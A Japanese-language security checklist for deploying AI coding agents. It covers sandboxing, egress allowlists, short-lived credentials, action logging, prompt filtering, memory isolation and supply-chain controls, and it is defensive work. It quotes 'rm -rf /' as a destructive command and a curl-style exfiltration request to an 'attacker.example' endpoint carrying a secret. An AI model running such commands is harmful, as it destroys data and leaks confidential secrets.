1. サンドボックスによる隔離
1.1 1セッション1環境
- AIエージェントのセッションごとに独立したコンテナまたはVMを割り当てている
1.2 影響範囲の封じ込め
- AIエージェントが破壊的な操作(
rm -rf /など)を行ってもサンドボックス内に影響が閉じる
2. ネットワーク制御
2.1 通信先の許可リスト
- 外部への通信先をドメインやエンドポイントの許可リストに限定している
curlや任意のHTTPライブラリを使って攻撃者のエンドポイントへ機密データを送信できます。https://attacker.example/collect?data=<secret>のような単純なリクエスト1つで情報が外へ出ます。
推奨する対応: ドメインベースの許可リストを実装します。Codingエージェントであればgithub.com・npmjs.org・pypi.org・自組織のコンテナレジストリなど、必要な宛先だけを許可します。Google CloudではFQDNルールを持つCloud NGFW、AWSではVPCとフォワードプロキシの組み合わせが使えます。それ以外の外向き通信はすべて拒否します。
2.2 HTTPレベルの検査
- 機密性の高い環境ではフォワードプロキシでHTTPリクエストを検査している
3. 認証情報の管理
3.1 最小権限の原則
- AIエージェントにはタスクに必要な最小限の権限だけを与えている
3.2 認証情報の短期化
- エージェントへ渡す認証情報はすべて短時間(1時間程度)で失効する
3.3 認証情報付与プロキシ
- 認証情報をエージェントの環境に置かず、プロキシ側で付与している
3.4 長期鍵を使わないコミット署名
- エージェントが作るGitコミットに、GPG鍵やSSH鍵を環境へ置かずに署名している
3.5 リソースの復旧可能性
- エージェントが変更・削除できるリソースに復旧手段がある
4. 可観測性
4.1 AIエージェントの行動ログ
- ツール呼び出し・コマンド実行・MCPサーバー呼び出しをすべて時刻付きで記録している
claude -pのように標準出力へ出ない場合は~/.claudeディレクトリのログを回収します。保管先は追記のみ可能な集約ログストアとし、保持期間を定めます。
4.2 LLM APIプロキシのログ
- LLM APIの呼び出しをプロキシ経由にしてプロンプトとレスポンスを記録している
4.3 AIエージェントの計測
- フレームワーク層で複数ステップにまたがる処理をトレースしている
4.4 ランタイムセキュリティ
- サンドボックス内で実行されるコマンドやプロセスをOSレベルで監視している
5. Prompt Filtering
5.1 プロンプトガードレールの有効化
- 入力と出力の双方にプロンプトフィルタリングを適用している
5.2 フィルタリングに依存しない多層防御
- セキュリティをプロンプトフィルタリングだけに依存させず、基盤側の制御を主軸にしている
6. 長期間有効な共有LLMメモリ
6.1 メモリのネームスペース分離
- LLMメモリをエージェントまたはセッション単位で分離している
6.2 メモリの監査ログ
- LLMメモリへの読み書きをすべて記録している
7. サプライチェーンセキュリティ
7.1 コンポーネントの検証
- AIエージェントフレームワーク・MCPサーバー・Agent Skillの出所を確認しバージョンを固定している
image@sha256:...)で指定します。
7.2 設定ファイルの読み取り専用化
- 設定ファイルを読み取り専用でマウントし、セッションをまたいで持ち越さない
8. 基盤自体のアクセス管理
8.1 エンドポイントの認証
- Agent PlatformのAPIやGatewayが認証を必須とし、アクセス制御なしでインターネットに公開されていない
8.2 基盤アクセスの監査ログ
- セッション作成・指示の送信・結果の取得といった利用者の操作を記録している

